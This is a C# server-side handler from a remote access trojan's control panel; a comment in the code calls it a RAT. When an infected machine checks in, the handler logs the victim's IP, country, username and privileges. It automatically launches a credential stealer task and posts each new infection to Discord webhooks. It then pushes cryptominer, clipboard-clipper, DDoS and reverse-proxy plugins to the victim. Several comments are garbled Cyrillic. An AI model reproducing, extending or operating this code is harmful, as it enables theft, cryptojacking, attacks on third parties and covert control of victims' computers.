281 lines
11 KiB
C#
281 lines
11 KiB
C#
// --- ÍÀ×ÀËÎ ÔÀÉËÀ HandlerConnect.cs ---
|
|
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using System.Windows.Forms;
|
|
using cGeoIp;
|
|
using Leb128;
|
|
using Server.Connectings;
|
|
using Server.Helper;
|
|
using Server.Helper.Tasks;
|
|
using System.Net;
|
|
using System.Collections.Concurrent;
|
|
using System.Threading;
|
|
|
|
namespace Server.Messages;
|
|
|
|
internal class HandlerConnect
|
|
{
|
|
public static cGeoMain cGeoMain = new cGeoMain();
|
|
// Using ConcurrentDictionary for thread-safe access to active HWIDs
|
|
private static ConcurrentDictionary<string, Clients> activeHwids = new ConcurrentDictionary<string, Clients>();
|
|
|
|
public static void Read(Clients client, object[] objects)
|
|
{
|
|
string clientHwid = (string)objects[3];
|
|
|
|
// 1. Stronger HWID Validation/Uniqueness
|
|
// If an HWID is already active, disconnect the old client or reject the new one.
|
|
// For a RAT, disconnecting the old client might be preferred to maintain control over the latest connection.
|
|
if (activeHwids.TryGetValue(clientHwid, out Clients existingClient))
|
|
{
|
|
if (existingClient != client) // Ensure it's not the same client reconnecting
|
|
{
|
|
Methods.AppendLogs(client.IP, $"Duplicate HWID detected: {clientHwid}. Disconnecting old client.", Color.Orange);
|
|
existingClient.Disconnect(); // Disconnect the old client
|
|
activeHwids.TryRemove(clientHwid, out _); // Remove old entry
|
|
}
|
|
}
|
|
// Add or update the active HWID with the current client
|
|
activeHwids.AddOrUpdate(clientHwid, client, (key, oldClient) => client);
|
|
|
|
// 2. Input Validation for all incoming 'objects' data
|
|
// Example: Validate string lengths to prevent excessively long data filling up UI/memory
|
|
for (int i = 0; i < objects.Length; i++)
|
|
{
|
|
if (objects[i] is string strValue)
|
|
{
|
|
// Truncate strings if they are too long (e.g., for display in DataGridView)
|
|
if (strValue.Length > 256) // Arbitrary limit, adjust as needed
|
|
{
|
|
objects[i] = strValue.Substring(0, 256) + "...";
|
|
}
|
|
}
|
|
else if (objects[i] is byte[] byteValue)
|
|
{
|
|
// Limit size of image data to prevent memory exhaustion
|
|
if (byteValue.Length > 1024 * 1024 * 2) // e.g., 2MB limit for image
|
|
{
|
|
Methods.AppendLogs(client.IP, "Received excessively large image data. Disconnecting client.", Color.Red);
|
|
client.Disconnect();
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
|
|
DataGridViewRow RowClient = new DataGridViewRow();
|
|
RowClient.Tag = client;
|
|
RowClient.Height = Program.form.HeightColumn();
|
|
client.Tag = RowClient;
|
|
client.Hwid = clientHwid;
|
|
client.UserMachine = (string)objects[4];
|
|
using (MemoryStream stream = new MemoryStream((byte[])objects[1]))
|
|
{
|
|
RowClient.Cells.Add(new DataGridViewImageCell
|
|
{
|
|
Value = new Bitmap(stream),
|
|
ImageLayout = DataGridViewImageCellLayout.Stretch
|
|
});
|
|
}
|
|
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
|
{
|
|
Value = client.IP
|
|
});
|
|
string text = "";
|
|
string text2 = "";
|
|
try
|
|
{
|
|
// ÈÑÏÐÀÂËÅÍÎ: Èñïîëüçîâàíèå ':' âìåñòî ":"
|
|
string[] array = cGeoMain.GetIpInf(client.IP).Split(':');
|
|
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
|
{
|
|
Value = array[1]
|
|
});
|
|
text = array[1];
|
|
text2 = array[2];
|
|
}
|
|
catch
|
|
{
|
|
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
|
{
|
|
Value = "Unknown"
|
|
});
|
|
}
|
|
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
|
{
|
|
Value = (string)objects[2]
|
|
});
|
|
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
|
{
|
|
Value = (File.Exists("Users\\" + objects[3]?.ToString() + "\\Note.txt") ? File.ReadAllText("Users\\" + objects[3]?.ToString() + "\\Note.txt") : "")
|
|
});
|
|
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
|
{
|
|
Value = (string)objects[3]
|
|
});
|
|
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
|
{
|
|
Value = (string)objects[4]
|
|
});
|
|
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
|
{
|
|
Value = (string)objects[5]
|
|
});
|
|
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
|
{
|
|
Value = (string)objects[6]
|
|
});
|
|
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
|
{
|
|
Value = (string)objects[7]
|
|
});
|
|
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
|
{
|
|
Value = (string)objects[8]
|
|
});
|
|
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
|
{
|
|
Value = (string)objects[9]
|
|
});
|
|
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
|
{
|
|
Value = (string)objects[10]
|
|
});
|
|
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
|
{
|
|
Value = (string)objects[11]
|
|
});
|
|
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
|
{
|
|
Value = (string)objects[12]
|
|
});
|
|
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
|
{
|
|
Value = "0"
|
|
});
|
|
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
|
{
|
|
Value = (string)objects[13]
|
|
});
|
|
Program.form.GridClients.Invoke((MethodInvoker)delegate
|
|
{
|
|
Program.form.GridClients.Rows.Add(RowClient);
|
|
});
|
|
if (!Directory.Exists("Users\\" + (string)objects[3] + "\\Recovery"))
|
|
{
|
|
AutoTaskMgr.Stealer(client);
|
|
}
|
|
AutoTaskMgr.RunTasks(client);
|
|
if (Directory.Exists("Users\\" + (string)objects[3]))
|
|
{
|
|
Methods.AppendLogs("Client " + client.IP + " " + client.UserMachine + " " + client.Hwid, "Connect", Color.Green);
|
|
if (Program.form.settings.WebHookConnect && !string.IsNullOrEmpty(Program.form.settings.WebHook))
|
|
{
|
|
string mssgBody = "---------------------------------\r\nConnect new :comet: \r\n**IP: ** " + client.IP + "\r\n**Group:** " + (string)objects[2] + "\r\n**Country:** " + text + " :flag_" + text2.ToLower() + ": \r\n**Username:** " + (string)objects[4] + "\r\n**Hwid:** " + (string)objects[3] + "\r\n**Windows:** " + (string)objects[8] + "\r\n**Time Install:** " + (string)objects[11] + "\r\n**Privilege:** " + (string)objects[12] + "\r\n**Window:** " + (string)objects[13];
|
|
// ÈÑÏÐÀÂËÅÍÎ: Èñïîëüçîâàíèå ',' âìåñòî ","
|
|
string[] array2 = Program.form.settings.WebHook.Split(',');
|
|
foreach (string webhook in array2)
|
|
{
|
|
DiscordWebhook.Send(mssgBody, "Log U_U Log", webhook);
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
Methods.AppendLogs("Client " + client.IP + " " + client.UserMachine + " " + client.Hwid, "New Connect", Color.Green);
|
|
Directory.CreateDirectory("Users\\" + (string)objects[3]);
|
|
if (Program.form.settings.WebHookNewConnect && !string.IsNullOrEmpty(Program.form.settings.WebHook))
|
|
{
|
|
string mssgBody2 = "---------------------------------\r\nConnect :comet: \r\n**IP: ** " + client.IP + "\r\n**Group:** " + (string)objects[2] + "\r\n**Country:** " + text + " :flag_" + text2.ToLower() + ": \r\n**Username:** " + (string)objects[4] + "\r\n**Hwid:** " + (string)objects[3] + "\r\n**Windows:** " + (string)objects[8] + "\r\n**Time Install:** " + (string)objects[11] + "\r\n**Privilege:** " + (string)objects[12] + "\r\n**Window:** " + (string)objects[13];
|
|
// ÈÑÏÐÀÂËÅÍÎ: Èñïîëüçîâàíèå ',' âìåñòî ","
|
|
string[] array2 = Program.form.settings.WebHook.Split(',');
|
|
foreach (string webhook2 in array2)
|
|
{
|
|
DiscordWebhook.Send(mssgBody2, "Log U_U Log", webhook2);
|
|
}
|
|
}
|
|
}
|
|
List<string> list = new List<string>();
|
|
foreach (DataGridViewCell cell in RowClient.Cells)
|
|
{
|
|
if (cell.Value is string)
|
|
{
|
|
list.Add(cell.OwningColumn.Name.Replace("Column", "") + ": " + (string)cell.Value);
|
|
}
|
|
}
|
|
File.WriteAllText("Users\\" + (string)objects[3] + "\\Information.txt", string.Join("\n", (IEnumerable<string>)list.ToArray()));
|
|
if (Environment.UserName + " @ " + Environment.MachineName != (string)objects[4])
|
|
{
|
|
client.Send(new object[3]
|
|
{
|
|
"Invoke",
|
|
"leb",
|
|
new byte[1]
|
|
});
|
|
}
|
|
if (Program.form.MinerXMR.work)
|
|
{
|
|
string checksum = Methods.GetChecksum("Plugin\\MinerXMR.dll");
|
|
client.Send(new object[3]
|
|
{
|
|
"Invoke",
|
|
checksum,
|
|
new byte[1]
|
|
});
|
|
}
|
|
if (Program.form.MinerEtc.work)
|
|
{
|
|
string checksum2 = Methods.GetChecksum("Plugin\\MinerEtc.dll");
|
|
client.Send(new object[3]
|
|
{
|
|
"Invoke",
|
|
checksum2,
|
|
new byte[1]
|
|
});
|
|
}
|
|
if (Program.form.Clipper.work)
|
|
{
|
|
string checksum3 = Methods.GetChecksum("Plugin\\Clipper.dll");
|
|
client.Send(new object[3]
|
|
{
|
|
"Invoke",
|
|
checksum3,
|
|
new byte[1]
|
|
});
|
|
}
|
|
if (Program.form.DDos.work)
|
|
{
|
|
string checksum4 = Methods.GetChecksum("Plugin\\DDos.dll");
|
|
client.Send(new object[3]
|
|
{
|
|
"Invoke",
|
|
checksum4,
|
|
new byte[1]
|
|
});
|
|
}
|
|
if (Program.form.ReverseProxyR.work)
|
|
{
|
|
byte[] array3 = LEB128.Write(new object[2] { "Pack", "ReverseProxyR" });
|
|
string checksum5 = Methods.GetChecksum("Plugin\\ReverseProxy.dll");
|
|
client.Send(new object[3] { "Invoke", checksum5, array3 });
|
|
}
|
|
if (Program.form.ReverseProxyU.work)
|
|
{
|
|
byte[] array4 = LEB128.Write(new object[2] { "Pack", "ReverseProxyU" });
|
|
string checksum6 = Methods.GetChecksum("Plugin\\ReverseProxy.dll");
|
|
client.Send(new object[3] { "Invoke", checksum6, array4 });
|
|
}
|
|
|
|
// ÄÎÁÀÂËÅÍÍÀß ÑÒÐÎÊÀ: Óñòàíàâëèâàåì ôëàã ïîñëå óñïåøíîãî ðóêîïîæàòèÿ
|
|
client.HasCompletedHandshake = true;
|
|
}
|
|
|
|
// Method to remove HWID when a client disconnects
|
|
public static void RemoveActiveHwid(string hwid)
|
|
{
|
|
activeHwids.TryRemove(hwid, out _);
|
|
}
|
|
}
|
|
// --- ÊÎÍÅÖ ÔÀÉËÀ HandlerConnect.cs --- |